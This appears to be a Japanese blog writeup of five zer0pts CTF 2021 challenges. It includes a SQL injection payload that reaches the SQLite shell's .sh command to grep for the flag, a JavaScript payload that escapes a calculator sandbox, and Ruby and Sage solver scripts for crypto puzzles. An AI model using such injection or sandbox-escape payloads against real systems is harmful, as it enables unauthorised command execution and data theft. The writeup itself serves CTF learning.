zer0pts CTF 2021 writeup (Baby SQLi, 3-AES, janken vs yoshiking, war(sa)mup, Kantan Calc) writeup
先週末に zer0pts CTF 2021 があり、TSGは7位でした。
いずれも解きごたえのある難問ばかりでめちゃくちゃ楽しかったです。web warmup で温まらなかったことを除いて完璧なCTFでした。開催していただいてありがとうございます。
kczは以下の問題を解きました (ほぼ完全に一人でといたもの)。
- Baby SQLi (web)
- 3-AES (crypto)
- janken vs yoshiking (crypto)
- war(sa)mup (crypto)
- Kantan Calc (web)
Writeupを書こうかと思ったけどめんどくさいのでチーム内のメモをだいたいそのまま公開します。
Baby SQLi
SQLiteとpopenで通信しているのがすごく怪しいので、SQLiteのシェルの実装を見る。
https://github.com/sqlite/sqlite/blob/39b6bd5e17806743a4b47f4fb2b98399e5e96682/src/shell.c.in#L10404
この辺を見ると、セミコロンができなくても、「go」という行があると、SQLの終了とみなされることがわかる。SQL Server互換らしい。
これで.shellコマンドが使えて、シェルが叩ける。ログインが成功したかによってシェルの終了コードが0かどうかがわかるので、あとはいかに記号を含めずに、少ない文字数で、フラグをリークさせるか。
SELECT * FROM users WHERE username="\" go .sh grep -R 0pts{X . .hel " AND password="zzzz";
というペイロードのXの部分を探索して、1文字ずつリークした。"$"の部分はうまく見つからなかったんだけど、前後がわかって「p4??w0rd」まで行くのでflag submitデバッグする(まあ一回で通ったが)。
.shがshellで、.helはヘルプコマンド。helpがないと、エラーで落ちる。
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}
公式writeupによると、別に"go"コマンドとか見つけなくても、セミコロンでいくらしい。
3-AES
一番実装頑張りました。最近Rust書くのはたのしいなぁ、っつってる。
t0 --ECB(k0)-> t1 --CBC(k1,iv1)-> t2 --CFB(k2,iv2)-> t3 とする。 t0' <--ECB(k0)-- t1' <--CBC(k1,iv1')- t2' <--CFB(k2,iv2')- t3' という逆操作もできるわけだが、iv1'を1bit操作すると、予想できるt1'の1bitが変わる。 よって、iv1'を操作した上で復号オラクルにかけてやることで t0 --ECB(k0)-> t1 t0' <-ECB(k0)-- t1' という関係が成り立ち、k0を全探索し、たとえばt0とt0'の暗号化結果が1bit違うかを調べれば、k0を見つけることができる。 今、k0がわかっているとする。 t3を1bit変えてt3'にしてやると、t2'の1bitが変わる。 k0がわかっている今、ECBのフェーズは無視できるから、 t1 --CBC(k1,iv1)-> t2 t1' <-CBC(k1,iv1)-- t2' について、t1とt1'の暗号化結果が1bit変わるようなk1を見つければよい。 k0,k1がわかれば、既知の平文と暗号文の組をつくるようなk2を見つけるのも容易い。
janken vs yoshiking
素数は当然奇数なので(いいえ)、素数-1は偶数で、1,2,3のうち2だけ偶数なことに気づくとすべて終わる。
負けなければOKというのも大事な気づき。
require 'socket' require 'expect' # socat -v tcp-listen:4567,fork,reuseaddr tcp-connect:crypto.ctf.zer0pts.com:10463 s = TCPSocket.new('localhost', 4567) s.gets g = s.expect(/g: (\d+),/)[1].to_i p = s.expect(/p: (\d+)\n/)[1].to_i puts g puts p q = (p-1)/2 loop do c1 = s.expect(/=\((\d+),/)[1].to_i c2 = s.expect(/(\d+)\)/)[1].to_i puts c1, c2 cc1 = c1.pow(q, p) cc2 = c2.pow(q, p) s.puts (cc1 == cc2 ? '1' : '2') puts s.gets end
[yoshiking]: suge- flag ageru zer0pts{jank3n-jank3n-0ne-m0r3-batt13}
war(sa)mup
フラグが `}` で終わるので、mは奇数。
よって m // 2は m-1 / 2。
なのでmの多項式 m^e - c1, ((m-1)/2)^e - c2のGCDをとる
# http://inaz2.hatenablog.com/entry/2016/01/20/022936 PRx.<m> = PolynomialRing(Zmod(n)) g1 = m^e - c1 g2 = ((m-1)//2)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() out = -gcd(g1, g2)[0] out = int(out) os = out.to_bytes((out.bit_length() + 7) // 8, "big")
zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}
Kantan Calc
'use strict'; (function () { return ${code}; /* ${FLAG} */ })()
このコメントをとらなくてはならないが、zer0ptsが出力に含まれるとだめ。
コメントをとるには、関数オブジェクトを文字列化するとよい。
がんばって関数を前後にsplitするようにする。
x=>y=>(0+x)[5]}())(_=>{
これを投げると、関数オブジェクトの5文字目が取れる。
(function () { return x=>y=>(0+x)[5]}())(_=>{; /* zer0pts{FLAG} */ })() (x=>y=>(0+x)[5])(_=>{; /* zer0pts{FLAG} */ })() (y=>(0+(_=>{; /* zer0pts{FLAG} */ }))[5])() (0+(_=>{; /* zer0pts{FLAG} */ }))[5] '0_=>{; /* zer0pts{FLAG} */ }'[5] ';'
zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}